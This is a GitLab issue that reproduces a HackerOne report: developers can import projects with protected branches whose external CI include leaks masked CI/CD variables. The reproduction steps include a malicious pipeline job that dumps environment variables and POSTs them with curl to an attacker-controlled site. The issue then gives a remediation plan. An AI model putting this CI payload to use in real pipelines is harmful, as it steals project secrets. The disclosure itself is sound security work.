Skip to content

A user with developer role (group) can import projects containing protected branches

HackerOne report #1485571 by justas_b on 2022-02-19, assigned to @nmalcolm:

Report | Attachments | How To Reproduce

Report

Hello,

Summary

By default, a user with only developer privileges can't create protected branches. A developer can import projects that contain malicious external include .gitlab-ci.yml files that already are inside protected branches. If a maintainer doesn't inspect external include(s) and makes any changes to protected branch, the automatic pipeline run will send sensitive data to malicious developer.

Steps to reproduce
  1. Create 2 accounts
  2. Create a group with account A and add masked CI/CD group variables (Group settings -> CI/CD -> Variables)

secretvar_masked.png

  1. Create 2 personal projects with account B
  2. Personal project 1 is only used to host the malicious external gitlab-ci.yml file:
image: ruby:latest

job_name2:  
 script:  
   - export > test.txt  
   - curl -X POST --data "$(cat test.txt)" (attacker controlled website)

malicious_ci_yml.png

  1. Copy the raw url of the malicious gitlab-ci.yml file (located in personal project 1)

external_ci_yml.png

  1. Create a .gitlab-ci.yml file in personal project 2:
###  This file is a template, and might need editing before it works on your project.  
###  To contribute improvements to CI/CD templates, please follow the Development guide at:  
###  https://docs.gitlab.com/ee/development/cicd/templates.html  
###  This specific template is located at:  
###  https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Bash.gitlab-ci.yml

###  See https://docs.gitlab.com/ee/ci/yaml/index.html for all available options

###  you can delete this line if you're not using Docker

include:  
  - '(raw url of the malicious gitlab-ci.yml file located in personal project 1)'

external_include_ci_yml.png

  1. Export personal project 2
  2. With account B (developer), import project 2 to account A's group
  3. Go to the imported project with account A and make changes to main branch (add new file, etc.)

add_new_file.png

  1. A pipeline run will trigger and a malicious external .gitlab-ci.yml file will send sensitive data to attacker controlled website using curl

curl_to_attacker_controlled_website.png

What is the current bug behavior?

Developers can import protected branches

What is the expected correct behavior?

Option A - Developers shouldn't be able to import protected branches.
Option B - Protected branches could be downgraded to non-protected if importer only has developer role, maintainers can then upgrade certain branches to protected

Output of checks

This bug happens on GitLab.com

Impact

User with developer role (group) can steal masked group and project CI/CD variables.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

Proposal

backend changes:

  • Add db migration to store the new setting !91875 (merged)
  • Create a background migration to align project_import_level with project_creation_level !93202 (merged)
  • Add GraphQL changes !96666 (closed) (blocked by #374046 (closed) )
  • update backend where feature flag not required
  • update rest of backend w feature flag enabled and frontend w feature flag enabled
  • Add documentation

frontend changes:

  1. Add a new setting Roles allowed to import projects on group level to allow group owners to change the permissions

  2. Add following options to the dropdown:

    * Guest and above * Reporter and above

    • Developer and above
    • Maintainer and above
    • Owner (default)
    • No one

  3. Add a warning message about changing permissions

Edited by Carla Drago